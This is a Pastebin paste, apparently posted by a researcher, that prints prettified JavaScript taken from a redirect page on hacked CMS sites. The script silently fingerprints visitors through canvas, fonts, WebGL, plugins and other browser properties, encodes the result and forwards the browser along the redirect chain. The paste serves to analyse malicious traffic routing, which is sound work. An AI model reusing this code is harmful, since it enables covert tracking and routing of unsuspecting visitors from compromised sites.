knufRed

Prettified HTML for found hacked CMS forwarder chains

Feb 2nd, 2018
179
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 13.49 KB | None | 0 0
  1. <!DOCTYPE html>
  2. <html>
  3.    <head>
  4.       <meta charset="UTF-8">
  5.       <title>Loading...</title>
  6.       <link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=">
  7.       <meta name="viewport" content="width=device-width,initial-scale=1">
  8.    </head>
  9.    <body>
  10.       <div class="void" style="opacity:0;position:absolute;top:-1000px;left:-1000px">
  11.          <canvas id="canvas"></canvas>
  12.       </div>
  13.       <script>
  14.         var e = document.querySelector(".void"),
  15.             m = document.getElementById("canvas");
  16.         m.width = 14;
  17.         m.height = 14;
  18.         var p = m.getContext("2d");
  19.  
  20.         function r(k, h) {
  21.             for (var b = [], c = 0; c < k.length; c++) b.push(k[c].charCodeAt(0));
  22.             var g, d, f;
  23.             if (0 === b.length) return "";
  24.             d = [0];
  25.             for (c = 0; c < b.length;) {
  26.                 for (f = 0; f < d.length;) d[f] <<= h ? 0 : 8, f++;
  27.                 d[0] += b[c];
  28.                 for (f = g = 0; f < d.length;) d[f] += g, g = d[f] / 58 | 0, d[f] %= 58, ++f;
  29.                 for (; g;) d.push(g % 58), g = g / 58 | 0;
  30.                 c++
  31.             }
  32.             for (c = 0; 0 === b[c] && c < b.length - 1;) d.push(0), c++;
  33.             b = "";
  34.             d = d.reverse();
  35.             for (c = 0; c < d.length; c++) b += "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz" [d[c]];
  36.             return b
  37.         }
  38.  
  39.         function v(k) {
  40.             try {
  41.                 return eval(k)
  42.             } catch (h) {
  43.                 return !0
  44.             }
  45.         }
  46.  
  47.         function w(k, h) {
  48.             var b = document.createElement(h);
  49.             return "function" == typeof b.canPlayType && (b = b.canPlayType(k), "maybe" == b.toLowerCase() || "probably" == b.toLowerCase()) ? !0 : !1
  50.         }! function(k, h, b, c, g, d, f) {
  51.             var n;
  52.             try {
  53.                 n = function() {
  54.                     function d(a) {
  55.                         return "function" == typeof a || !1
  56.                     }
  57.                     var g, n = new Date,
  58.                         q = [function() {
  59.                             return +new Date
  60.                         }, function() {
  61.                             return 5
  62.                         }, function() {
  63.                             return b.platform
  64.                         }, function() {
  65.                             return "ontouchstart" in h || "onmsgesturechange" in h ? 1 : f
  66.                         }, function() {
  67.                             return c.availWidth
  68.                         }, function() {
  69.                             return c.availHeight
  70.                         }, function() {
  71.                             return b.plugins && b.plugins.length
  72.                         }, function() {
  73.                             return (g.ontouchstart + "")[0]
  74.                         }, function() {
  75.                             return (h.g + "")[0]
  76.                         }, function() {
  77.                             return h.MSGesture ? 1 : f
  78.                         }, function() {
  79.                             return h.innerWidth
  80.                         }, function() {
  81.                             return h.innerHeight
  82.                         }, function() {
  83.                             return n.getTimezoneOffset()
  84.                         }, function() {
  85.                             return (new Date).getTime() - n.getTime()
  86.                         }, function() {
  87.                             return b.buildID
  88.                         }, function() {
  89.                             return b.cookieEnabled ? 1 : f
  90.                         }, function() {
  91.                             return b.performance && b.performance.navigation && b.performance.navigation.redirectCount || f
  92.                         }, function() {
  93.                             return b.performance && b.performance.navigation && b.performance.navigation.type || f
  94.                         }, function() {
  95.                             return h.orientation
  96.                         }, function() {
  97.                             return h.devicePixelRatio
  98.                         }, function() {
  99.                             return b.vendor
  100.                         }, function() {
  101.                             return c.pixelDepth
  102.                         }, function() {
  103.                             return c.colorDepth
  104.                         }, function() {
  105.                             return c.deviceXDPI
  106.                         }, function() {
  107.                             return c.e
  108.                         }, function() {
  109.                             return d(k.hasFocus) ? k.hasFocus() : f
  110.                         }, function() {
  111.                             return d(k.getComputedStyle) ? 1 : f
  112.                         }, function() {
  113.                             return h.history && d(h.history.pushState) ? 1 : f
  114.                         }, function() {
  115.                             return c.width
  116.                         }, function() {
  117.                             return c.height
  118.                         }, function() {
  119.                             return window != window.top
  120.                         }, function() {
  121.                             return b.userAgent
  122.                         }, function() {
  123.                             var a = [],
  124.                                 b = document.createElement("div");
  125.                             b.innerHTML = '<fieldset disabled><input type="text"></fieldset>';
  126.                             a.push(b.querySelector("input:disabled") ? 0 : 1);
  127.                             a.push(v("!MutationObserver") ? 1 : 0);
  128.                             a.push(document.d ? 0 : 1);
  129.                             a.push("undefined" === typeof document.hidden || "undefined" === typeof document.webkitHidden ? 1 : 0);
  130.                             a.push(window.requestAnimationFrame ? 0 : 1);
  131.                             a.push(v('(typeof document.createElement("iframe").srcdoc)[0] === "u"') ? 1 : 0);
  132.                             return a.join("")
  133.                         }, function() {
  134.                             var a = [];
  135.                             a.push(v('typeof window.SpeechSynthesisUtterance === "undefined"') ? 1 : 0);
  136.                             a.push(window.HTMLPictureElement ? 0 : 1);
  137.                             return a.join("")
  138.                         }, function() {
  139.                             var a = [];
  140.                             a.push("undefined" === typeof document.createElement("a").f ? 1 : 0);
  141.                             a.push(w("video/webm", "video") ? 0 : 1);
  142.                             a.push(w("audio/ogg", "audio") ? 0 : 1);
  143.                             a.push(v('document.body.querySelector(":nth-child(1 of .foo)")') ? 0 : 1);
  144.                             return a.join("")
  145.                         }, function() {
  146.                             var a = [];
  147.                             a.push("undefined" === typeof window.openDatabase ? 1 : 0);
  148.                             a.push(v('document.querySelector("div:dir(ltr)")') ? 0 : 1);
  149.                             a.push("ondeviceproximity" in window ? 1 : 0);
  150.                             return a.join("")
  151.                         }, function() {
  152.                             var a = [];
  153.                             a.push(window.chrome && window.chrome.h ? 1 : 0);
  154.                             return a.join("")
  155.                         }, function() {
  156.                             try {
  157.                                 for (var a in b.plugins)
  158.                                     if (b.plugins[a].name && -1 < b.plugins[a].name.toString().indexOf("Flash")) return !0
  159.                             } catch (c) {}
  160.                             return !1
  161.                         }, function() {
  162.                             var a = [];
  163.                             a.push(v('(typeof window.PaymentRequest)[0] === "f"') ? 1 : 0);
  164.                             a.push(v('(typeof window.MediaRecorder)[0] === "f"') ? 1 : 0);
  165.                             a.push(v('navigator.connection.type[0] === "w" || navigator.connection.type[0] === "c"') ? 1 : 0);
  166.                             return a.join("")
  167.                         }, function() {
  168.                             var a = [];
  169.                             a.push(v("navigator.language") ? 1 : 0);
  170.                             a.push(v("navigator.userLanguage") ? 1 : 0);
  171.                             a.push(v("navigator.browserLanguage") ? 1 : 0);
  172.                             a.push(v("navigator.systemLanguage") ? 1 : 0);
  173.                             return a.join("")
  174.                         }, function() {
  175.                             var a = [];
  176.                             a.push(v("!!window.sessionStorage") ? 1 : 0);
  177.                             a.push(v("!!window.localStorage") ? 1 : 0);
  178.                             a.push(v("!!window.indexedDB") ? 1 : 0);
  179.                             a.push(v('navigator.hardwareConcurrency ? navigator.hardwareConcurrency : "unknown"') ? 1 : 0);
  180.                             a.push(v('navigator.platform ? navigator.platform : "unknown"') ? 1 : 0);
  181.                             a.push(v('navigator.doNotTrack ? navigator.doNotTrack : "unknown"') ? 1 : 0);
  182.                             a.push(v('navigator.msDoNotTrack ? navigator.msDoNotTrack : "unknown"') ? 1 : 0);
  183.                             a.push(v('window.doNotTrack ? window.doNotTrack : "unknown"') ? 1 : 0);
  184.                             return a.join("")
  185.                         }, function() {
  186.                             var a = 0,
  187.                                 b = !1;
  188.                             "undefined" !== typeof navigator.b ? a = navigator.b : "undefined" !== typeof navigator.c && (a = navigator.c);
  189.                             try {
  190.                                 document.createEvent("TouchEvent"), b = !0
  191.                             } catch (c) {}
  192.                             return [a ? 1 : 0, b ? 1 : 0, "ontouchstart" in window ? 1 : 0].join("")
  193.                         }, function() {
  194.                             if ("undefined" !== typeof navigator.a) try {
  195.                                 if (navigator.a[0].substr(0, 2) !== navigator.language.substr(0, 2)) return !0
  196.                             } catch (a) {
  197.                                 return !0
  198.                             }
  199.                             return !1
  200.                         }, function() {
  201.                             return v("navigator.oscpu")
  202.                         }, function() {
  203.                             return v("navigator.productSub")
  204.                         }, function() {
  205.                             return v("eval.toString().length")
  206.                         }, function() {
  207.                             var a = document.createElement("canvas");
  208.                             return !(!a.getContext || !a.getContext("2d"))
  209.                         }, function() {
  210.                             return document.referrer
  211.                         }, function() {
  212.                             var a = "",
  213.                                 a = document.createElement("div");
  214.                             a.innerHTML = "<style>span{color:rebeccapurple}</style><span>rbcc</span>";
  215.                             e.appendChild(a);
  216.                             return a = getComputedStyle(a.querySelector("span")).color.match(/\d/g).join("")
  217.                         }, function() {
  218.                             return v("navigator.connection.type")
  219.                         }, function() {
  220.                             var a = [];
  221.                             p.font = "12px monospace";
  222.                             p.fillStyle = "white";
  223.                             for (var b = ["\ud83d\udc58", "\ud83d\udc44", "\ud83d\udc7e", "\ud83d\udcf1"], c = 0; 4 > c; c++) p.clearRect(0, 0, 14, 14), p.fillText(b[c], 0, 12), a.push(r(m.toDataURL("image/png"), !0));
  224.                             return a.join("")
  225.                         }, function() {
  226.                             p.fillStyle = "black";
  227.                             var a = "Dancing Script;sans-serif-light;sans-serif-condensed-light;Zapfino;Cochin;sans-serif-black;Cambria;serif-monospace;Damascus;sans-serif-smallcaps;Noto Serif;Bookerly;HelveticaNeue;Avenir-Book;ArialMT;Microsoft Sans Serif;Comic Sans;Superclarendon-Regular;Georgia;Open Sans;FreeSans;Algerian;Bookman Old Style;Bitstream Vera Sans;FreeSerif;sans-serif-condensed;AppleSDGothicNeo-Thin;sans-serif-thin;sans-serif-medium;Droid Sans;AppleColorEmoji;Monospace;Webdings;TrebuchetMS;Tahoma;Roboto;Lucida Console;DejaVu Sans;DBLCDTempBlack;Calibri;FreeMono;Lucida;casual;Impact;AlNile-Bold;AmericanTypewriter;Ubuntu;Syncopate;Liberation Serif;Didot;AcademyEngravedLetPlain;Trebuchet;OpenSymbol".split(";");
  228.                             m.width = 14 * a.length;
  229.                             p.clearRect(0, 0, 14, 14);
  230.                             for (var b = 0, c = a.length; b < c; b++) p.font = "16px " + a[b], p.fillText("B", 14 * b, 12);
  231.                             return r(m.toDataURL("image/png"), !0)
  232.                         }, function() {
  233.                             return window.name
  234.                         }, function() {
  235.                             try {
  236.                                 var a = document.createElement("canvas").getContext("webgl"),
  237.                                     b = a.getExtension("WEBGL_debug_renderer_info");
  238.                                 try {
  239.                                     return a.getParameter(b.UNMASKED_VENDOR_WEBGL)
  240.                                 } catch (c) {
  241.                                     return 1
  242.                                 }
  243.                             } catch (d) {
  244.                                 return 0
  245.                             }
  246.                         }, function() {
  247.                             try {
  248.                                 return document.createElement("canvas").getContext("webgl").getSupportedExtensions().length
  249.                             } catch (a) {
  250.                                 return "0"
  251.                             }
  252.                         }],
  253.                         t = [],
  254.                         u = "ctm ver plt tch aw ah crx tchl msgl msg iw ih tz tdff buid cke prfrd prfnv ornt dpr vnd pd cdp dxdp dydp hsfc gcs whst ww wh frm ua a43 a44 sf ff chd flv chm lng strg mxtch mnlng oscpu prdsub evln cnv ref rbcc cntp emjf ttfp wnm wglv wgle".split(" ");
  255.                     for (g = 0; g < u.length; ++g) try {
  256.                         t.push([u[g], q[g]()].join(""))
  257.                     } catch (x) {
  258.                         t.push([u[g], "!" + x.message].join(""))
  259.                     }
  260.                     // return t.join("\x00")
  261.                     alert (t.join(""))
  262.                 } ()
  263.             } catch (q) {
  264.                 try {
  265.                     n = l([0, q.message || q].join("\x00"))
  266.                 } catch (y) {
  267.                     n = ""
  268.                 }
  269.             }
  270.             window.location.replace(g.replace("/d/", "/l/") + r(n))
  271.         }(document, window, navigator, screen, location.href + (location.href.split("?")[1] ? "&" : "?") + "code=");
  272.      </script>
  273.    </body>
  274. </html>
Add Comment
Please, Sign In to add comment